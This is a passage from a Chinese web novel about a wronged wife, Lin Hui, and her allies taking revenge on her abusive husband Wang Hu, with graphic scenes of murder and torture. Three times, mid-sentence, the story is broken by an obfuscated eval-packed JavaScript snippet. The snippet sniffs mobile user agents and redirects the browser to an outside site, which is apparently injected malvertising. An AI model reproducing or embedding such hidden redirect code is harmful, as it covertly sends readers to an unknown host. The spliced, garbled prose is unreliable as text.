她想起在医馆苏醒的时候，那名头发花白的老者问她：“你可是游医林致风的女儿？” 她缓缓点头。 那老者又道：“因弟子早夭，我一身妇科千金医术将要失传。你，可愿意做我的关门弟子？” 或许在那夜得知真相之前，她会毫不犹豫地答应。她不能生子，但她可以带更多的孩子平安地降生，亦是一种圆满。 她扶着矮几，踉跄地想要站起身，赵春花神色慌张地搀扶她，却被一把拂开。 “不用你们插手。”她听到自己用几近冷漠的声音，同那天拒绝老者一般，作出决定，“王虎和杜鹃，我要亲手了断他们。” “不。” 苏尔茗斩钉截铁：“林蕙，我将此事告诉你，是因为我已想好了计策。” 7. 第 7 章 话音一落，原本有些剑拔弩张的气氛立刻戛然而止。 屋里地砖映着窗棂间露出的光，泥炉上小壶里面喷出带着茶香的水汽，不远处的冰盆散发着丝丝凉意。 林蕙一点点平息下来，颓然地坐回蒲垫上，语气落寞：“我又冲动了。” 她顿了顿，声音里盈满歉意：“我这么说，是因为杀吴大牛的时候，第一次失了手，我险些害计划落空。所以……王虎的事，我才打算亲自来，杀一个也是杀。” 一杯热茶被推到她面前，紧接而来便是苏尔茗宽慰的细语：“林蕙，你受委屈了，辛苦你了。” 赵春花瞥到林蕙通红的眼眶，半坐着抱住她，郑重道：“林蕙姐，我皮厚着呢！这次不成我们还有下次！如今，你是我的恩人，我理应回报你。” 林蕙眼里映着二人，心头一酸，终是忍不住落下泪来，紧紧地回抱着赵春花。 从那夜晕厥以后，已两日不曾合眼。闭上眼，就想起挣扎的吴大牛，和那幼小孩童稚嫩的一声“爹爹”。 她深吸了一口气，扶正赵春花的身子，在蒲垫上坐得板直，“说吧，需要我怎么配合。” 苏尔茗缓缓一笑，露出了若指掌的表情。 “杜鹃是个喜好攀比的女人，昨日她穿得那身衣裳，便是城中近日最流行的花色。春花如今要做小饭馆，便可以借此弄些时兴的花样传到街坊，让杜鹃上钩。” “王虎变卖酒铺的钱并不够他们二人挥霍，到时候可以让人引他去借印子钱。沈家在背地里，有放印子钱的生意，到时候王虎还不上，定会被沈万金派人毒打。” 她纤瘦的手掌扣在矮几上，葱削似的手指有节奏地敲打着，声音愈发笃定：“那时候，我便是那压死骆驼的最后一根稻草。” 泥炉上滚沸的茶水突然扑了出来，落在炽热坚硬的炉壁上，“哧”地一声化为了白烟。 鞭炮的尘烟横着飘在空中，带起一股虽有刺鼻但却总让人觉得喜庆的烟熏味道。 “噼里啪啦——” 赵春花满面红光，跳起来一把拽下遮住牌匾的红锦缎，露出高挂的“巷里香”三个大字。 她今日一身浅翠色衣裙，用料正是京中时兴的南云锦，上面绣着芍药的暗纹，一举一动裙间皆有粼粼波光似的光泽。 李夫人笑着看赵春花今日一身隆重的打扮，偏偏头上的珠翠因为未出丧期显得十分寡淡，同今日的喜气颇为不搭。 她走过去拉着赵春花的手，在众目睽睽下拿出了一只攒金红宝石簪子，插在了她的发髻间。 在纷杂喧闹的环境里，李夫人的声音却格外清晰，声音很轻，十分温暖：“春花，今日是个大喜的日子，我们这些邻里都觉得你该穿得喜气些，这头上太素，不值得。” “这是我们几人的一点心意，今日当作贺礼送给你，贺你新生，往后定会顺遂。” 赵春花摸摸头上的簪子，望见不远处那些熟悉的邻里，甚至还有些几位叫不上名的婆婆，她含着泪，重重地点了点头。 “我会的！” 三日后，巷里香成了城西最火的小饭馆。 价格公道、味道家常，年轻貌美的老板娘穿着漂亮的衣衫，在结账的时候会甜滋滋地笑着问你，“今日可有哪里不妥？” 不仅饱食一顿，还直教人身心舒畅、宾至如归。 街头巷尾，那貌美老板娘绣着芍药暗纹的衣裙，忽然开始时兴，布庄的老板们闻风而至。 南云锦五两银子一匹，若是谁穿上了，上街定要饱受羡艳的目光。 时兴的风也吹入了城北一处民宅之中，搔得人心痒痒。 “虎子哥，你听说了没有？今日城里时兴了新的衣裙，我想穿给你看。”一道让人酥骨的娇声，勾得人魂不守舍。 王虎的声音十分轻佻：“穿给我？那不还是要脱的？” 杜鹃嘤嘤地小声啜泣，惹人怜惜：“虎子哥，往日你说我无父无母，你便是我的天，自然什么都肯依我。” “如今，我为你生下一子，身材走样人老珠黄，你便翻了脸，不作数了？” “好好好，都依你。”王虎宠溺地应声，杜鹃一点嘤咛，随男人的声音渐渐远去，“看你今晚表现了……” “梆——梆——噹！” 不远处更声响起，更夫的步伐逐渐接近，墙外一道人影消失在黑暗中。 第二日晌午，少云的晴朗天气略带秋意，透彻的光线将小院子照得一览无余。 院子“吱嘎”一声开了门，水蛇似得扭出去一个人影。 过了一会，王虎打着哈欠边系个腰带，从屋里慢腾腾挪出来，借着打来的井水，抹了一把脸，眼睛里才多了几分清明。 他忽然一拍胸前，慌张地摸向自己的腰间，全都空荡荡，眉头一竖：“败家娘们！卖铺子剩的十两银子全都拿走了？！” 他不顾方才的辱骂惊醒了幼子，慌慌张张地追出门去，嘴里叨叨着：“天杀的林蕙也不知道死哪里去了，害得老子都没钱花！” 他迈过门槛前，将自己脸上的水抹净，正了正衣襟，最后调整好头巾，才继续步履匆匆地往外去。 经过一处转角巷子，那边有二人正在悄声说话，其中一人提着一袋水烟，吧嗒吧嗒地抽着。 见王虎一出现，那二人瞬间闭了嘴，往角落里躲了躲。 他缓了步子竖着耳朵听。 “你上工赚那点银子，还够你抽水烟？你家婆娘不管？” “上工那点银子够干什么用的？这是去南边搞的……”那人指尖搓了搓，眼神还提防着不远处的王虎。 正巧王虎悄悄扭头，同他视线对上，“你偷听我们兄弟说话？” 王虎额头一绷，尴尬地笑了笑，索性利落地转身朝那二人走过去，脸上一派谦虚的模样，不见半点暴戾。 “这位大哥，大家都是邻里，有什么赚钱的好法子……不妨说给弟弟听听？赚了以后定不会忘了孝敬大哥。” 那抽水烟的人上下打量了一番王虎，猛吸一口烟，将那烟气吐在王虎脸上，看他眉头都未皱一下，才慢慢说道：“行，算你我有缘。” 午时，街边行人神色匆匆，部分忙着回家用膳，部分人躲着正午的日头，钻进了街边香气扑鼻的各色食店。 王虎面前摆着一碗清汤面，边上挂着两颗青菜，他板着脸瞅着那面，边瞥了眼，从木桶中挑出一双干净筷子，加起来，猛地吸了一口。 他眉头越皱越深，左手探向腰间摸到最后一个铜板，又放了回去，狰狞着咽下素面，吼道：“老板，加二两肉！要快点，面要坨了！” “好嘞！客官，您稍等！”不远处小二应声，他不耐烦地视线跟着撇过去，见到一桌唉声叹气的人。 他们在似乎在抱怨恩自县上工的薪水，十分低廉，勤勤恳恳一个月，可能都不到二两银子，但是若是要坐地要价，立刻就有些外地人开更低的价格自愿去干。 小二将切好的棕红色酱肉放在王虎面前，便急匆匆地离去。 王虎夹起一筷子肉，香气浓郁、软烂入味，正巧听到那人说了句，“现在若是没点本事，光做苦力，在恩自县的薪水只会越来越低”，口中的肉忽然味同嚼蜡。 他身无长物，只会喝酒和一身蛮力。 他想起巷子里那位自称“刘大能”的人，给他支了个借印子钱的招。 只要从东边借，再借了西边补东边的窟窿，两边一倒腾，就可以神不知鬼不觉地花掉那最开始借来的一部分。 方才过来的路上，他去城北的那家当铺问了。那人看在刘大能的面子上，可以借他一百两，利息好说，十日内就只收他二分，教他放心就是。 酒铺向来都是林蕙打理，王虎不懂二分是多少，但那人既然说不多，那边便是不多，总要看在刘大能几分薄面在。 凭着刘大能的名字，他就可以平白无故的借出来一百两，什么东西都不需要给！ 王虎真觉得自己今日走运得很，若是早一分、晚一分，说不定就碰不到那说话的二人了。 想到这，他将那牛肉一股脑夹起来塞在嘴里，将那碗半坨的稀汤寡水面推得老远，站起来拍拍屁股走了。 小二忙不迭追出来，“客官，您还没付钱！” 王虎留了个背影，潇洒地摆摆手：“等着，老子过会就回来！” …… 城东的一家医馆里，林蕙正忙不迭地帮患者换药。 自从上次离开她们见面的庄子，她辞去了庄子里酿酒的工作，她原本引以为豪的酿酒手艺，有一部分是因为王虎夸她酿酒好喝，让她觉得自己被需要。 如今，她想到曾经的那些事情，便恶心的想吐。所以她离开了庄子，来到了医馆做了一名女医。 她并未答应老者收徒的请求，只说免费帮老者做工，只求能有管吃管住，她不想给老者添麻烦。 若他知道自己成为医者之前，先是一名杀人犯，又该如何作想？ 林蕙垂下眼，默不作声地为患者贴上了新的膏药，耐心地嘱托：“这几日不可沾水，切记莫要再过劳。” 患者郑重地道了谢，才慢慢起身往门口去。 门口从天而降一个抱着孩子的身影，逆着光，林蕙看不清他的眉目，那人身形熟悉但衣着华贵，不像…… “大夫！大夫呢！快来看看我儿子，他得了什么病！” 林蕙身形被定在原地，如遭雷劈。 吴大牛怎的会来城东的医馆！ 她看着穿着南云锦的男人，银冠束发、面洁须整，腰间还别着扇子，神情急切地抱着一个面色异常红润的孩子。 老者方才进入后院去取药，正巧堂内就她和另一位在角落里正帮人针灸的大夫。 她和王虎猝不及防地对上了视线。 “林蕙！你不是死了吗？” 后半句荡在鸦雀无声的堂内，林蕙瞬间发现所有人的目光都焦聚在她身上。 她心头地火蹭得一下就冒了出来，但顾及这是在老者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362059|183729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的医馆，她深吸一口气，压下怒火，竭力耐着性子问：“王虎，我好端端在这里，你咒我死？” 围观的人目光一变，王虎声音顿时弱了几分，方才他只想到，前些时日没钱时的窘迫，有些不忿。 他话锋一转，借着人多倒打一耙：“你若没死，为何不回家？你心里可还有这个家，还是你同别人私奔？” “是这医馆里的大夫？”他大摇大摆地在堂中逛了一圈，啧啧打量着破旧的医馆，随后指着角落里那个呆愣着忘记下针的大夫，鄙夷道：“就是他？” 那人连忙摆手，差点将手中的银针飞出。 王虎“嘁”地一声，转了转眼珠，将那怀里的孩子随便放在案桌上，抽出腰间的扇子，扇了扇：“你可知我如今，过得是什么日子？林蕙，你可后悔？” 林蕙忍着胃里强烈翻涌的呕吐欲望，顶着不知情众人鄙夷的目光，仿佛她是那个抛夫弃子的私奔女人。 终是忍不住冷声道：“王虎，你抱着你同杜鹃的私生子，到医馆来求我治病，还是炫耀你如今的富裕？” 王虎面色一变，似是想好的借口被人无情的戳穿。 人群忽然炸开了锅。 “我就说他怎么有点眼熟，原来是城北六巷的王虎。听说他跟人做生意赚了银子，近日街坊里都在传他的热心肠，说是那院子里的小娘子，可算是等回了离家多年的夫婿！” “什么离家多年？你新搬来的吧？我从三年前就见着他时不时地过来，夜里再偷偷地走，那女人八成就是养的外室！” “听听，私生子！今儿这是给私生子瞧病，撞到正妻了！” “什么私生子！”王虎横眉怒目扫视那些议论纷纷地人，将扇子“歘”地一收，嘴里口沫横飞，“她是个不下蛋的鸡，总不能让我们王家绝后吧？我娘说了，还等着第二个孙子呢！” 趁王虎同人争执的时候，林蕙抄起一旁的草纸，刷刷几笔写完了一封和离书，写上了自己的名字。 她提起纸，吹着半干的墨渍，大声道出事实。 “三年前，你背着我同杜鹃媾和，你说将她视作妹妹。现在，她先于我为你生下一子。你喝醉打我，打掉了我们的孩子，致我不能生育，现在反咬一口。” 她大步走过去，二话不说一把将纸拍在了王虎胸前，声音格外平静，“既如此，那便和离。” 她旋即走到一边，她缓缓抱起孩子，摸了摸他滚烫的额头，“医者仁心，不管他是谁的孩子我都会救，但你我从此再无瓜葛。” 王虎下意识捞住那张纸，在所有人不齿的目光里，臊得脸红脖子粗，说话时脖子上的青筋都在蠕动：“你休想！！” 林蕙皮肉不笑地看了他一眼，睨着方才夸王虎热心肠的那名男子，讥讽道：“瞧瞧，衣冠禽兽不过如此，切莫被虚假的表象所骗。” 她不再与王虎争执，将孩子交给了听到动静连忙赶来的老者，随即消失在后院。 王虎气喘吁吁地环视四周，恼羞成怒：“她说什么你们便信？愚昧！” 他盯着手里那份和离书，正要将它撕个粉碎。 一道温和的声音，从一位戴着帷帽的女子那传来：“你不会以为撕了，就可以一切重来吧？养了外室，还想重来，真是痴人说梦！” 王虎狠狠地瞪了一眼，大庭广众下，只得将它随意折了几下，塞进了袖袋。 暮色西沉，火红地晚霞映在小巷里，王虎抱着孩子满腹的怨气。 今日若是杜鹃不出去同那些姐妹炫耀她新买的首饰，怎会轮到他去医馆！ 他正想着，巷子里拐角处几个人倚着墙，似乎等候多时，突兀地向他走来。 他抱着孩子地手紧了紧，幼童感受到不适，立刻放声大哭。 为首的那人掏出一块肮脏的抹布，抬手塞进了孩子的口中，声音森然：“虎哥，昨日去还钱的时候，怎得忘记给利息了？” 一旁的几人将圆环砍刀顶在肩膀上，狞笑着将他围了起来。 霞光将那利刃照得如烧红的烙铁，他忽然脚有些发软，想到自己明明多还了几两，便理直气壮地答：“你们要几分，我给了几两，还不够？！” 还好他昨日机智，磨了城南的铺子半天，才答应多借他几两！ 那几人蓦地哄堂大笑，下一秒笑声一收，将刀贴着他的皂靴，插在脚边。 刀把左右的振动挥击在他的长裤上，两股变得有些震颤。 那人皮肉不笑地瞧着那孩子，扭头问他的兄弟：“你说这小孩，能值几钱？” 一人嫌弃地挥挥手：“没肉，不好吃。” 那人便将自己手里的刀，架在王虎的脖子上，半眯着眼，轻声道：“那只能由你，还上这剩下的十五两银子了。” “不过遗憾的是，十五两是昨日的价格。今日，是三十两。明日五十，后日便是百两。” “若凑不出……”他手用了力，割破王虎脖颈的皮肉，语气古井无波，“便将你砍去手脚，做成人彘。” 8. 第 8 章 夜幕降临，巷子里家家户户亮起了灯笼，接替着方才晚霞的余晖，照亮了各自回家的路。 杜鹃哼着歌，抬手看着指尖格外精美的红玛瑙戒指，似乎想到了什么，羞赧地一笑，继续往巷子深处走去。 自家院门灯笼暗着，她皱了皱眉，推开门，“大晚上去哪儿浪了不回来，灯笼都不点……晦气……” 她眼尖地瞧见院子里呆坐着一个人影，连忙收了抱怨的嘟囔，立刻换了副热情的模样靠过去，嘴甜地喊着：“虎子哥，怎么回来了也不吭声？可用过晚膳了？” 王虎将视线落在他被纤纤玉手贴着的臂膀上，沉着脸没吭声。 杜鹃翻了个白眼，装作耐心地又问：“怎么了？可是谁惹你不高兴了？” 王虎答非所问，盯着那她指尖的红玛瑙戒指，声音有些涩然，“多少钱买的？” “……问这个作甚，反正是你前些日子给我的五十两银子，我喜欢就买喽。”杜鹃警惕地将手收了回来。 王虎眼神忽然变得阴沉，将杜鹃手一甩，破口大骂。 “给你二十两，你便如此铺张奢侈？平日里你一月五两，如今你手头可还剩几个子？明日便将它退了！” “凭什么!”杜鹃脱口而出，看到王虎有些阴鹜的神情，忽觉自己说错了话。 她可不想将那贵人给的信物，变成那一点点的碎银。 “虎子哥，你若是遇到了难处，便同妹妹说……”她转了转眼珠，软着性子央求，贴近时竟发觉他脖子上一道血痕。 “那你现在便随我去当铺!”王虎一把扯起黏在他身上的杜鹃，铁手如同锁链，拖着她的臂膀便消失在院门外。 杜鹃挣扎和求饶在他耳边宛若蚊蚋，惊醒了街坊养的护院犬，也不曾让王虎心软半分。 他满心里想着：如今手里还有二十两，若是将能卖的都卖了，今日凑够三十两，便能将那印子钱还上。 直到，那关得严实的当铺大门，击溃了他所有的幻想。 王虎忍不住踉跄地退了几步，泄了气的皮球一般摔坐在路边，半晌无言。 * 翌日，沈家后宅。 鹅黄日光微微透过窗棂，白色的细绢将屋内和屋外隔成两个温度，屋内四季如春，燃着沉水香。 纱帐里缓缓坐起一个美人，声音慵懒带着一丝沙哑：“芸娘，昨日夜里起风，今日换掉这纱帐吧。” 芸娘将净面的温热布巾递过去，苏尔茗抬手顺势接过，将湿暖的温度传到眼周，解了一宿噩梦的乏累。 她梦到她杀沈万金失手，他将妹妹接入府中。 半晌，她叹了口气，缓缓起身坐到梳妆台前，吩咐道：“早膳后，我要去城北铺子一趟，上次小周姨娘说要个花瓶，正巧妹妹屋中还缺点物件，我一并去取了。” 用早膳时，她将此事同沈万金说了。 沈万金亲自执起象牙筷，为她夹了一个汤包，温声道：“夫人只管去做便是，你的妹妹你最了解，若是人手不够，尽管吩咐芸娘去要。” 苏尔茗隐在袖中的手将衣袖攥得死紧，像是替妹妹高兴般缓缓笑了，柔声道谢：“多谢夫君体贴。” 她夹起那个汤包，操着大家闺秀的仪态，小口吃完，用布巾抿掉唇角多余的油花。 沈万金爽朗一笑，赞她：“茗儿，你终于懂事了。” 她咀嚼吞咽的动作一顿，忽觉口中油腻，恶心至极。 沈万金走后，她命人撤了膳食，连喝两杯浓茶，才压下那股腥臊之气。 放下茶杯，苏尔茗起身往前院走，在即将迈出门槛的时候，似乎想起来什么，吩咐芸娘：“让何老送我，再叫两个护卫跟着。” 芸娘应声而去。 不多时，一辆带有沈家标记的马车缓缓驶向城北，精致的木轮滚过长街，带起一阵香风。 马车高大宽敞的车厢旁侧，紧收着两名孔武有力的护卫，可见车中人身份不凡。 车前铃铛一响，马车停在了城北当铺的门口。 苏尔茗正要掀开帘子，脚下方踏上木阶梯，便听不远处突然有了动静，直奔她而来！ “夫人！求求你，救救我！” 那人披头散发“扑通”一声跪在她马车前，仅着一身破烂的外衣，里面是上好锦缎制成的中衣，看起来颇为怪异。 “夫人，求您借我些银子！我看您家境富裕，想必不缺这些俗物。您若答应，我一身力气，之后可为您当牛做马！” 她定睛一看，随后立即冷漠地错开眼，垂眼踏着木阶梯一步步走下马车，遮掩住眼中认出王虎的惊讶，一副不愿多事的表情。 马车旁，腰间别着木棍的护卫立刻上前，不耐烦地挥挥手，“起开！不要挡我家夫人的路！不然，别怪我们兄弟俩不客气！” 王虎眼中只盯着那衣着不俗、气质不凡的貌美夫人。 趁护卫以为他安分些，立刻抽出其中一人腰间的木棍，一个打滚钻过二人的缝隙，麻利地起身后，三两步追上前，就要碰到那女子的衣摆。 破空之声忽然响起，他双膝一软，手腕不知被什么击中，仿若筋骨断裂一般不自觉地松开了木棍，摔倒在距离那夫人半步的地方。 苏尔茗被那熟悉的破空声惊得猛然回头，便见王虎丢了棍子，双膝砰地一跪，狼狈地摔倒在她面前。 不待她拧眉呵斥，那两个护卫连忙追上来将王虎架走，摔到路中间狠狠地拳打脚踢。 “住手。此事应报给府衙，有官府处理，切莫动用私刑，闹出人命。” 声音犹如悦耳动听的琴声，尾音极有磁性，让她莫名耳熟。 那人一袭青衫自人群中缓缓走来，脊背挺拔如松，面带浩然正气，距离她面前两步停下，一板一眼地问：“夫人，可曾受伤？” 是那日马车中的男子。 苏尔茗摇了摇头，错开他锐利洞察的视线，福身行礼：“谢过公子相救。” 不远处护卫方一停手，王虎一骨碌起身跑远，护卫还待要追，她叹了口气，阻止道：“算了，莫在浪费时间。” 她用眼神示意何老，借着福身行礼时又退了一步，缓声道：“小女子还有事，先行一步，还望公子见谅。” 何老从怀中掏出一个装着银子的锦袋，不待人拒绝，便塞给了男子身后的仆从，转身离去。 陆远望着苏尔茗远去的背影，扭头看到竹年手里鼓鼓囊囊的一包碎银，第一次露出无奈的神色。 他看起来那么穷吗？ 竹年问：“主子，这……” 他摇了摇头，迈步离开了当铺门口，看向那马车上的沈家标记：“不知其姓甚名谁，贸然拜访着实失礼。这些，先同上次那些放在一处，以后还给她。” 竹年诧异：“主子，那不是沈家的马车吗，她自然是沈家的夫人！” 主子破天荒没理他。 他悄悄抬眼一瞥，发现自家主子的表情有些凝重，立刻改口：“主子，可我们明日便要离开恩自县了，下次不知……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362060|183729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“这里有京城那些人的眼线，总有机会，不必急于一时。”陆远眼神幽深，看向了那古怪男子消失的小巷入口。 巷子里，王虎捂着被打得胀痛的腹部，仓惶踉跄地往巷子深处跑。 他想起今早他挨家挨户问，没有找到那个叫刘大能的男人，这分明就是有人故意算计他！ 他心中愤懑脚下不停，跑过一个岔口，瞥见个熟悉的粉衣身影，心神一震。 “大人，您昨日说的话，可还作数？”那道娇声十分熟悉，正是杜鹃。 她对面的男子身量不高，被杜鹃遮住了头脸，只露出一角缂丝衣袍，指上带着老绿的翡翠扳指，非富即贵。 男子声音低沉且略带苍老：“昨日你不愿，我便将那红玛瑙送你留作纪念。我来此已有十余日，明早我便要启程回京，你……唉……” “大人，昨日一见，杜鹃便被您的风姿所折服，但我无父无母，担心配不上您这般人才，故而昨夜暗自神伤许久。” 杜鹃小声啜泣，直叫人骨头酥麻，“如今……只想陪伴您左右，望您不弃。” “好，那明日卯时城南见。” “大人，杜鹃舍不得和您分开，我陪您一同用膳可好……” 脚步声响起，打断了王虎偷听的思绪，他竭力忍着愤怒，沿着墙边一点点往外挪去。 怪不得杜鹃今日不顾幼子大病初愈也要出门，又宁死都不愿变卖身上的衣衫和戒指，原来竟等着背叛他！ 那人自京城来恩自县不足半月，可不正巧同那刘大能坑害他的时间对上！ 说不定他们就是一伙的，为了这个贱骨头，想要将借刀除掉他！ 王虎愤恨地脱下身上破烂外袍往头上一裹，急匆匆地往家里跑去。 夜色昏沉，弯月笼着半边云纱，暗了光芒。 巷子里的灯笼早已亮起，渐渐刮起些风，带着晚间的凉意和湿润。 杜鹃顺着小巷一路走到家门口，看到那亮起的灯笼，冷哼一声，停了口中肆意的小曲。 这个破院子、穷男人，也就让她在将就最后一晚。若不是要装作处子的矜持，打算回京以后套牢那位贵人，她今日决计不可能再回来！ 哪有送人东西后，还要收回变卖的道理！没钱？没钱养什么外室！ 她推开门进去，只想安抚住王虎的情绪：“虎子哥，今日我跑了好几个姐妹家中，她们都不愿借，我央了半日，她们死也不松口！都是些势利眼的贱骨头！” 王虎冷冷地看了她一眼，莫名地发出一声讥笑，问道：“是吗？” 他眼神落在杜鹃手中的红玛瑙戒指，她背后突然一激灵，鸡皮疙瘩起了满身。 她语气又软了半分，啜濡道：“是……是啊，虎子哥，你还不信我吗？” 王虎将她的身子拨开，没接话，迈着沉重地步伐往厨房走去，临迈过门槛前，轻声问了句：“你可用膳了？” “没……没有。”她其实已在沐春楼用过晚膳，可此时看着王虎阴冷的眼神，她下意识选择了撒谎。 王虎诡异地勾唇一笑，消失在布帘之后。 杜鹃松了一口气，连忙进屋想要看一眼儿子。过了今夜，这孩子便与她再不相见，做娘的人，也只能狠狠心。 谁让王虎没了酒铺，彻底断了生路。 她前脚刚进卧房，后面便有王虎的脚步声紧随其后，她笑着回头：“不是说做饭……” 锋利的刀刃扬着突骤然明亮的光芒，携着风声向她剁来—— 9. 第 9 章 “噗嗤——” 刀锋入肉的闷响，将杜鹃未说完的话和痛呼，全都淹没在涌出的血色里。 随即，更密集的银光落在她身上，将她视线砍裂成几瓣，她看到了自己的双股、后背……还有王虎逐渐疯狂的眼。 “贱人！若不是你，林蕙怎会要与我和离？” “若不是养了你，她发现我偷钱，我又怎舍得打她？” “若不是你，我怎么借那印子钱被人下套……” 王虎漠然地看着眼前黄红交杂的烂肉，手臂麻木地重复一个动作，直到刀口卷刃，“当”地一声卡在了坚硬的骨缝中。 他左手抹了一把脸，拨开血色糊住的视线，低低地笑着，诡谲怪诞的声音越来越大。 “桀桀桀——” 午时他回到家，他换了身破衣，正巧那封和离书从袖袋里掉出来。如今和离书正在他怀里，隔着衣服仿佛要烫伤他的心口。 幸好……只要他明日去城南杀了那富老头，还上欠的印子钱，他就可以和林蕙重归于好！ 他将那把卷了刃的菜刀拔出丢到一旁，看了一眼躺在床上昏睡的幼子，毫不留恋地离开了家门，再未看过地上一眼。 王虎借着院中的井水将血渍洗净，换下了脏污的衣衫，这才趁着夜色往南门去。 天边渐渐升起一抹鱼肚白，城南尚未开门，南门前除了守卫的兵士，一派祥和宁静。 王虎隐藏在暗处角落，格外亢奋地盯着过路的行人，眼珠一错不错。 很快，他就可以…… 然而，眼前并未出现那上京的马车，反倒是出现了那几个催债人。 他们二话没说，对他当头就是一棒。 王虎双眼一翻，失去了意识。 …… 一盆水像堵墙般泼来，扼住了王虎的呼吸。冰冷的井水兜头而下，瞬间唤回了他的意识。 他用力挤掉眼前的水，勉强适应昏暗的光线，半天才辨认出这阴冷潮湿的地方，散发着一股霉腐味道，似乎是个暗室。 他被束缚着手脚，绑在木架之上。 面前，是那日小巷里，用刀割伤他脖子的那人。 今日天一亮，便是第三日，理应还一百两利息。 被做成人彘的恐惧已经盈满他的心头，他连忙开口求饶：“大哥，求求你放过我，今天卯时出城那人，他有钱，他有很多钱！你们杀了他，足够花很久！” 那人嗤笑一声，摇了摇头，“来人，给我好好伺候他。” 铁质的器具间碰撞，发出令人牙酸的动静，烙铁在烧红的炭火上带起一阵热浪，空气中逐渐弥漫出一股腥臊之味——王虎被吓得失禁了。 那人嫌弃地扇了扇风，手一指那烙铁，吩咐道：“去，把他命根子和后面都封上，赶紧用水冲掉污秽，今晚主子会过来，可不能污了主子的眼！” 那烧红的方型铁块，被人用手举着，直愣愣地向王虎靠近—— 他哆嗦着想要往后躲，可粗粝的铁链将他死死地锁在柱子上：“我可以给你们当牛做马……不！！啊！！！” “嗤拉”一声，烧焦的衣服和皮肉糊在一处，露出通红且糜烂的物什，下一块烙铁随后而至，狠狠地压死那处，腾起皮肉烧焦和腥臊的异味。 王虎的惨叫声响彻整个暗室，那人眉头一皱，将一块破布暴力地掖进他嘴里。 “吵闹。” 痛苦的嚎叫变成了抑在喉咙里的呜咽，在昏暗的空间里显得格外骇人，可眼前的几人面色麻木，眉头不曾皱一下。 烙刑已过，王虎的衣衫被扯了个精光，将方才黏在衣服上的某处，也硬生生撕扯了下来。随即被泼上一盆盐水，带着倒刺的皮鞭呼啸而至。 王虎痛得双眼发黑，全身没有一块平整的好肉，像是皮肤正在一寸寸爆裂、鼓胀，最后炸成血肉的零星。 “呜……” 王虎模糊混沌的脑海中，勉强辨出那人格外嫌弃的一句，“这就晕了？给他上药，主子还没来，不能死！” 随后，他彻底失去了意识。 不知过了多久，暗室门缝传出一道温润的年轻男子声音，带着几分威严：“今日有几个？” “回主子，一个。” 沈万金转折手中的扳指，想起今早上苏尔茗说的那句，“如今爹娘已经松口妹妹进府的事，我想着多出去以她的名义做些善事，也好给她积积福”。 半晌，他嘴角噙了笑，挥挥手：“既然打过，就将他放了吧，今日权当积德。” 领头那人抠抠耳朵，疑心是自己听错了，却见主子唇角一勾，往地牢外去了。 他想了想，传话道：“留一口气，主子说不能死这里。” 鞭声又起。 暗室之外，大风呼啸，方才满天星斗的天空瞬间被阴云所占据，不远处的黑云似碗，飘忽着要扣在恩自县上方。 苏尔茗盛着马车，路过当时曾救起林蕙的那条河，狂风将马车轿帘掀起，露出木桥的一角。 她借势将一只耳环甩出了马车外，待马车过桥后，惊呼：“我的黄玉耳环少了一只，定是方才那颠簸甩出了车外。何老，快停车！” 马儿长鸣一声缓缓停下，在疾风中不耐烦地跺着蹄子。 苏尔茗蹭得一下跳下了马车，往那破旧的木桥上跑去，神情急切，仿佛丢了至宝。 不远处马蹄声飞踏而来，来人似乎想赶着落雨之前出城，狂风卷着沙土，视野极小，眼看就要经过那只能两马并行的窄桥上。 “闪开！”有人大声呵斥，卷在风中听不真切。 苏尔茗匆匆回身，便只剩见那高高扬起的马蹄，穿透力极强的马儿嘶鸣声刺入她的脑海。 她下意识往后退了几步。 未开口的那人驭马术极好，单手勒住缰绳，身子随高高扬起马背一同掀起，不动如山，马镫上的双腿爆发惊人的力量，稳稳落下。 陆远看着马前难得神色惊慌的女子，露出一丝歉意，关心道：“夫人，风大急雨，为何出现在此？可是需要帮忙？” 她的神情迅速镇定，竖起戒备，“多谢公子，素昧平生，你我恩情也已扯平，自是不敢劳烦公子。” “公子若是着急赶路，便请先行。”说着，她稳稳地从桥上退下来，做出请的手势。 陆远垂眼看着眼前在狂风中的身子纤弱，像是随时可被卷走的女子。她衣袖被吹得凌乱，又露出了那手腕上的旧伤。 像是鞭痕。 她眼神里的警惕，让他心头有些不适。他从未见谁次次见他，皆是一种提防的姿态。 她在怕什么？可是有什么委屈？ 竹年在一旁提醒出声：“主子，再不出城，天黑之前到不了平远县。” 声音召回了他的思绪，他从那袖间的伤痕收回目光，淡声道：“竹年，走吧。” 终是轻轻一挥马鞭，缓缓地过了木桥，再不回头。 苏尔茗见他走远，那道窥探思索的目光消失，这才长呼一口气。 直到四处彻底无人，她才缓缓踏上木桥，拿掉了被提前锯开的木桩。 这座木桥年久失修，原本沈万金要请人将其做成石桥，可偏偏王虎偏爱这条近路，好掩人耳目找杜鹃私会。所以，他曾暗中带头阻拦此事，修桥的事便不了了之。 如今狂风呼啸，街上早已空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 